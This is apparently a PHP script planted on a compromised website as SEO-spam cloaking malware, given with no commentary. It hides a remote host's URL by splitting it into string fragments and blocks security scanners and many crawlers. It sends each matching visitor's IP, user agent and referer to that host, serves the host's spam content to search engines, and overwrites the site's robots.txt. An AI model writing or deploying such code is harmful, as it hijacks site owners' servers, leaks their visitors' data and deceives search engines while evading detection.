<?php $mesa='w28';$ochx='p://c';$xmlv='1.g';$mwyi='8';$tksr='ayleft.com/';$fwul='htt';$tihho=$fwul.$ochx.$mesa.$mwyi.$xmlv.$tksr; $pc = "CARTAwV"; error_reporting(0); $bagent = "Bing|Yahoo|Docomo|Google"; if(preg_match("/(paloaltonetworks|EasouSpider|Go-http-client|YandexBot|LightDeckReports Bot|Indy Library|DotBot|scrapy|Claudebot|DataForSEO|Bytespider|Python|YySpider|Jaunty|coolpadWebkit|SeznamBot|universalFeedParser|HttpClient|CensysInspect|DigExt|java|CrawlDaddy|Heritrix|AskTbFXTV|Python-urllib|ZmEu|amazonBot|yisouSpider|Barkrowler|Python-requests|GPTBot|JikeSpider|petalBot|oBot|Swiftbot|SemrushBot|ezooms|ApacheBench|mj12bot|feedDemon|feedly|AhrefsBot)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $refer = urlencode(@$_SERVER['HTTP_REFERER']); $ip = $_SERVER['REMOTE_ADDR']; $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); $ip = urlencode($ip);  if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; } function writeToFile($filePath, $content) {  $file = fopen($filePath, "w");  if ($file) {  fwrite($file, $content);  fclose($file);  return true;  }  return false; }  function readFromFile($filePath) {  $file = fopen($filePath, "r");  if ($file) {  $content = fread($file, filesize($filePath));  fclose($file);  return $content;  }  return false; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"zzbzzb") !== false){echo "ok";exit();} $zzb = 0; $zzbFilePath = "zzb.txt"; if(!is_file($zzbFilePath)) {  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/zzbzzb';  $ypgq = @file_get_contents($uuu);   if($ypgq === "ok") {   $zzb = 1;   writeToFile($zzbFilePath,"1");  } else {   $zzb = 0;   writeToFile($zzbFilePath,"0");  } } else {  $zzb = readFromFile($zzbFilePath); }  if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {  $requsturl = $tihho."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$zzb&script=$script";  $robots_contents = "";  if(strpos($uri,"pingsitemap") !== false) {   $scripname = $_SERVER['SCRIPT_NAME'];   if(strpos($scripname,"index.p") !== false) {    if($zzb == 0) {     $scripname = '/?';    } else {     $scripname = '/';    }   } else {    $scripname = $scripname.'?';   }   $robots_contents = "User-agent: *\r\nAllow: /";   $sitemap = "$http://" . $domain .$scripname. "sitemap.xml";   $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap";   $sitemapstatus = "";   echo $sitemap.": ".$sitemapstatus.'<br/>';   $requsturl = $tihho."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$zzb&script=$script&sitemap=".urlencode($sitemap);  }  $ypgq = @file_get_contents($requsturl);  if(empty($ypgq)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $ypgq = curl_exec($ch);   curl_close($ch);  }  if(!empty($ypgq)) {   if(substr($ypgq,0,10)=="error code" or $ypgq == "500" or strpos($ypgq,'Bad Gateway')!==false) {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');}   else if(substr($ypgq,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $ypgq;   if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);}   else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$ypgq);}   exit();   return;  } }else{ }  ?>